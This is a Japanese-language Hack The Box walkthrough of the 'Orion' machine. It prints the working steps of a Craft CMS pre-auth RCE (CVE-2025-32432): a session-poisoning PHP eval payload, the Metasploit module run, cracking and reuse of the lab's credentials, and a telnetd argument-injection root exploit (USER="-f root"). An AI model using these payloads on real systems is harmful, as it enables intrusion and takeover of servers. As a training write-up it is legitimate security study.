はじめに
この記事は、Hack The Box の Orion を攻略した際の手順を、再現しやすい形で整理したものです。
大まかな流れは以下です。
- ポートスキャンとWeb調査(Craft CMSの発見)
- Craft CMSの未認証RCE(CVE-2025-32432)によるfoothold
- DBの認証情報からCraft adminのパスワードハッシュを取得・クラック
- 資格情報の使い回しでシステムユーザーへSSHログイン
- ローカルのtelnetdに対するCVE-2026-24061でroot権限を取得
ポートスキャン
まずはnmapでターゲットのポートを調査します。
$ nmap -Pn -T4 -A -oN report_orion.htb orion.htb
主な開放ポート:
- 22/tcp (SSH, OpenSSH 8.9p1 Ubuntu)
- 80/tcp (HTTP, nginx 1.18.0)
/etc/hostsにIPアドレスを追加してWebサーバへアクセスします。
$ echo "10.129.37.30 orion.htb" | sudo tee -a /etc/hosts
Web調査
サイトは「Orion Telecom」という通信インフラ企業を装ったコーポレートサイトでした。
レスポンスヘッダにX-Powered-By: Craft CMSがあり、/admin/loginのwindow.Craftオブジェクトからバージョンが特定できます。
$ curl -s http://orion.htb/admin/login | grep -o 'Craft.*"version":"[^"]*"'
- CMS: Craft CMS 5.6.16
- 管理画面:
http://orion.htb/admin/login(到達可能) -
.env,composer.json,composer.lockは直接露出なし
Craft CMS 5.6.16は既知の未認証RCE(CVE-2025-32432, CVSS 10.0)の対象バージョンです。
Craft CMSの未認証RCE(CVE-2025-32432)
脆弱性の概要
-
Yii2はlalavelなどと並ぶphpWebアプリケーションフレームワークでCraft CMSはその上で動作しています。 - Craft CMSには「アセット(画像)の変換(Image Transform)」機能があり、アップロードされたリサイズやフォーマット変換した画像をオンデマンドに生成することができます。
- その処理を担う
AssetsController::actionGenerateTransform(allowAnonymous指定あり)は、POSTで受け取ったhandle配列をそのままCraft::createObject()にスプレッドします。 - ここに
as <ランダム名>というYii2の特殊キーを混入させるとattachBehavior()経由でYii::createObject()が呼ばれ、未認証で任意クラスをインスタンス化できます。 - Yii2側には
is_subclass_of($value['class'], Behavior::class)というチェック(2.0.50相当)が入っていますが、class(チェック用のダミー、Behaviorのサブクラス)と__class(実際にインスタンス化したい任意クラス)を両方指定することでバイパス可能です。 - ガジェットとして
yii\rbac\PhpManagerのitemFileプロパティを利用します。 - このプロパティに指定したファイルは
require $fileで読み込まれるため、任意ファイルインクルードが可能になります。
session returnUrl ポイズニングによるRCE
-
itemFileに指定するファイルとして、PHPコードを注入できるファイルを用意する必要があります。今回はセッションファイルへのポイズニングを利用しました。
-
未認証で
admin/dashboardにアクセスする際、クエリ文字列にPHPペイロードを仕込みます。GET /index.php?p=admin/dashboard&<param>=<?=eval($_GET['x']);die()?> -
未認証アクセスはYii2の
Userコンポーネントによって302でログイン画面へリダイレクトされますが、その際「リダイレクト後に戻るためのURL」であるreturnUrl(クエリ文字列を含む元URLそのもの)が$_SESSIONに保存されます。 -
このセッションデータが
sess_<CraftSessionId>ファイルにシリアライズされて書き込まれる際、クエリ文字列内の<?=eval(...)?>という生のPHPタグ文字列がそのままファイルに含まれます。 -
require()はシリアライズ構造を気にせず生バイトをPHPソースとしてパースするため、ファイル中のどこにあっても<?= ?>タグに入った瞬間、そのコードが実行されます。 -
__class: yiibac\PhpManagerのitemFileに自分のsess_<id>を指定してトリガーすれば、eval($_GET['x'])が生きたバックドアとして機能します。
craftcms_preauth_rce_cve_2025_32432モジュールによるシェル取得
この一連の流れは、公式Metasploitモジュールcraftcms_preauth_rce_cve_2025_32432.rbにほぼそのまま実装されているため、実際の攻略ではこのモジュールを利用しました。
msf6 > use exploit/linux/http/craftcms_preauth_rce_cve_2025_32432
msf6 exploit(...) > set RHOSTS orion.htb
msf6 exploit(...) > run
meterpreter > getuid
Server username: www-data
www-data権限のシェルを取得できました。
認証情報の収集とハッシュクラック
www-dataシェルから環境変数を確認すると、Craft CMSのDB接続情報が丸見えでした。
www-data@orion:~/html/craft/web$ env
CRAFT_DB_SERVER=127.0.0.1
CRAFT_DB_DATABASE=orion
CRAFT_DB_USER=root
CRAFT_DB_PASSWORD=SuperSecureCraft123Pass!
このパスワードでMySQLに接続し、usersテーブルからadminのパスワードハッシュを取得します。
$ mysql -uroot -p
MariaDB [orion]> select username, email, password from users;
+----------+----------------+--------------------------------------------------------------+
| username | email | password |
+----------+----------------+--------------------------------------------------------------+
| admin | adam@orion.htb | $2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS |
+----------+----------------+--------------------------------------------------------------+
$2y$プレフィックスからbcryptと判定し、hashcatでクラックします。
$ hashcat -m 3200 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
...
$2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS:darkangel
admin:darkangelのクラックに成功しました。
資格情報の使い回しでSSHログイン
emailカラムの値がadam@orion.htbだったことから、システムユーザー名はadamではないかと推測。
Craft adminのパスワードdarkangelをそのままSSHに試したところ、ログインに成功しました。
$ ssh adam@orion.htb
adam@orion.htb's password: darkangel
adam@orion:~$ id
uid=1000(adam) gid=1000(adam) groups=1000(adam)
adam@orion:~$ ls
user.txt
user.txtを取得できました。
権限昇格(CVE-2026-24061)
adam権限でリッスンしているポートを確認したところ、ローカルのみ(127.0.0.1)でtelnetdが稼働していました。
adam@orion:/tmp$ ss -lntu
...
tcp LISTEN 0 10 127.0.0.1:23 0.0.0.0:*
...
adam@orion:/tmp$ telnet --version
telnet (GNU inetutils) 2.7
GNU inetutilsのtelnetd/telnetクライアントには、環境変数USERを悪用した認証バイパスの脆弱性(CVE-2026-24061)があります。
原理
下記の記事がわかりやすかったです。
https://seclists.org/oss-sec/2026/q1/89
telnetdはlogin(1)を起動する際のコマンドラインを、以下のようなテンプレート文字列の変数展開で組み立てています。
PATH_LOGIN " -p -h %h %?u{-f %u}{%U}"
%uが「クライアントが指定したユーザー名(=USER環境変数の値)」に展開される箇所ですが、この展開処理は値の中身を一切検証していません。そのため、USERに-f rootという値を渡すと、loginコマンドの新しいコマンドライン引数として割り込む形になります。
login(1)の-fフラグは、rlogin等の信頼済みホスト間の自動ログイン用に用意された正規機能で、「認証済みとして扱い、パスワード認証なしに指定ユーザーでログインを許可する」ものです。この機能が意図せず発動してしまうことで、rootとしてログインできてしまいます(典型的な引数インジェクション)。
悪用
adam@orion:/tmp$ USER="-f root" telnet --login 127.0.0.1
...
# id
uid=0(root) gid=0(root) groups=0(root)
これだけでroot権限を取得できました。root.txtも確認できました。
まとめ
今回の攻略で重要だったポイントは次の通りです。
- Craft CMS 5.6.16の未認証RCE(CVE-2025-32432)は、Yii2のパッチ済みチェックを
class/__classの二重指定でバイパスし、yii\rbac\PhpManagerのitemFile経由の任意ファイルインクルードへ繋げる必要があった - RCEの起点となるファイルポイズニングは、ログインフォーム経由ではなく
returnUrlのセッション保存を利用する必要があり、書き込み経路を誤ると同じ脆弱性でも刺さらない - アプリケーションの環境変数やDBの
emailカラムなど、Web側で得た手がかりがシステムユーザーの資格情報特定に直結した - ローカルにしか公開されていないtelnetdでも、CVE-2026-24061のような認証バイパスがあれば強力な権限昇格経路になる
Orionは、Webアプリの脆弱性チェーンと、ローカルサービスの古典的な引数インジェクションが組み合わさった、学びの多いBoxでした。